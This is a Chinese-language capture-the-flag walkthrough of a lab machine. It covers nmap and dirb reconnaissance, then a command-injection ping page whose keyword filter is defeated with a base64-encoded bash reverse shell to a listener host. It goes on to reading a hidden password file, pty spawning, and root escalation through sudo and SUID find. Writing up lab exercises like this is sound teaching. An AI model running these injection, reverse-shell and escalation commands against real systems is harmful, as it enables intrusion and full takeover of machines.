1.探测靶机ip地址
ip a
netdiscover -i eth0 -r 192.168.100.0/24
可以看到靶机地址为192.168.100.8
2.nmap进行靶机端口服务扫描
nmap -sS -Pn -A -p- -n 192.168.100.8
-sS SYN 扫描,半连接
-Pn 跳过Ping扫描阶段
-A 全面扫描
-p- 全端口
-n 禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间
可以看到靶机只开放了一个80/http端口服务
3.根据端口服务进行信息收集
80/http端口
我们访问下80页面进行下信息收集:查看源码、dirb扫描
由于靶机没开放22端口,猜测下应该是命令执行漏洞
网站首页写着“假的管理员站点”,保守起见,还是先目录扫描一下,看看能不能找到真的管理员站点。
目录扫描
dirb http://192.168.100.8
挨个访问看下
http://192.168.100.8/admin
是张宣传图片
源代码一无所获
普通的目录扫描,只发现了/admin
,但没啥用,纯静态网页,换用大字典试试
dirb http://192.168.100.8/ /usr/share/wordlists/dirb/big.txt
还是没看到什么新目录
再加个后缀试试(这里的考虑是 index是.php的,试试加个.php的后缀)
dirb http://192.168.100.8/ /usr/share/wordlists/dirb/big.txt -X .php
发现个新页面
http://192.168.100.8/superadmin.php
看到“ping”查询的时候,已经可以确定是命令执行漏洞了
4.命令执行
查看受限制的内容都是有哪些,使用命令:|cat superadmin.php
";","&&","/","bin","&"," &&","ls","nc","dir","pwd"
1.kali
目录分隔符被过滤了可以将反弹shell的命令使用base64加密之后再执行
echo "bash -i >& /dev/tcp/192.168.100.4/1234 0>&1" | base64
开启nc监听
nc -lvnp 1234
2.靶机
|echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC40LzEyMzQgMD4mMQo=" | base64 -d | bash
3.反弹shell成功
查看下所有用户
有3个用户,去各自用户下面看看
(1)yash用户
得到一个提示
Due to some security issues,I have saved haclabs password in a hidden file.
由于一些安全问题,我将haclabs的密码保存在一个隐藏文件中。
继续查看下yash用户下所有的文件
find / -user yash
也可以去除报错信息
find / -user yash 2>/dev/null
可以看到/usr/share/hidden/.passwd
中应该是存放着密码
查看隐藏文件passwd
cat /usr/share/hidden/.passwd
得到密码haclabs1234
(2)haclabs用户
知道了haclabs用户的密码,使用su切换到haclabs用户
但遇到了一个问题
su: must be run from a terminal
这时候需要切换交互式shell
我们知道可以通过python提供的pty模块创建一个原生的终端
python3 - c 'import pty; pty.spawn("/bin/bash")'
切换haclabs
www-data@haclabs:/var/www/html$ su haclabs
su haclabs
Password: haclabs1234
haclabs@haclabs:/var/www/html$
在haclabs的用户目录下看到flag2.txt
haclabs@haclabs:/var/www/html$ cd /home
cd /home
haclabs@haclabs:/home$ ls
ls
haclabs yash
haclabs@haclabs:/home$ cd haclabs
cd haclabs
haclabs@haclabs:~$ ls
ls
Desktop Downloads Music Public Videos
Documents flag2.txt Pictures Templates
haclabs@haclabs:~$ cat flag2.txt
cat flag2.txt
I am flag2
--------------- ----------------
--------
haclabs@haclabs:~$
(3)root用户
使用sudo提权
ls -al
可以看到当前目录下有sudo_as_admin_successful
sudo -l
find命令不需要密码
sudo find . -exec /bin/sh \; -quit
使用suid提权
查看suid文件
find /usr -perm -u=s -type f 2>/dev/null
进行提权
find . -exec /bin/sh -p \; -quit
进入到root目录下可以看到flag3.txt
5.靶机总结
nmap扫描
dirb目录扫描
分析php漏洞
绕过命令执行漏洞
反弹SHELL
搜索隐藏文件
linux sudo提权
请登录后查看评论内容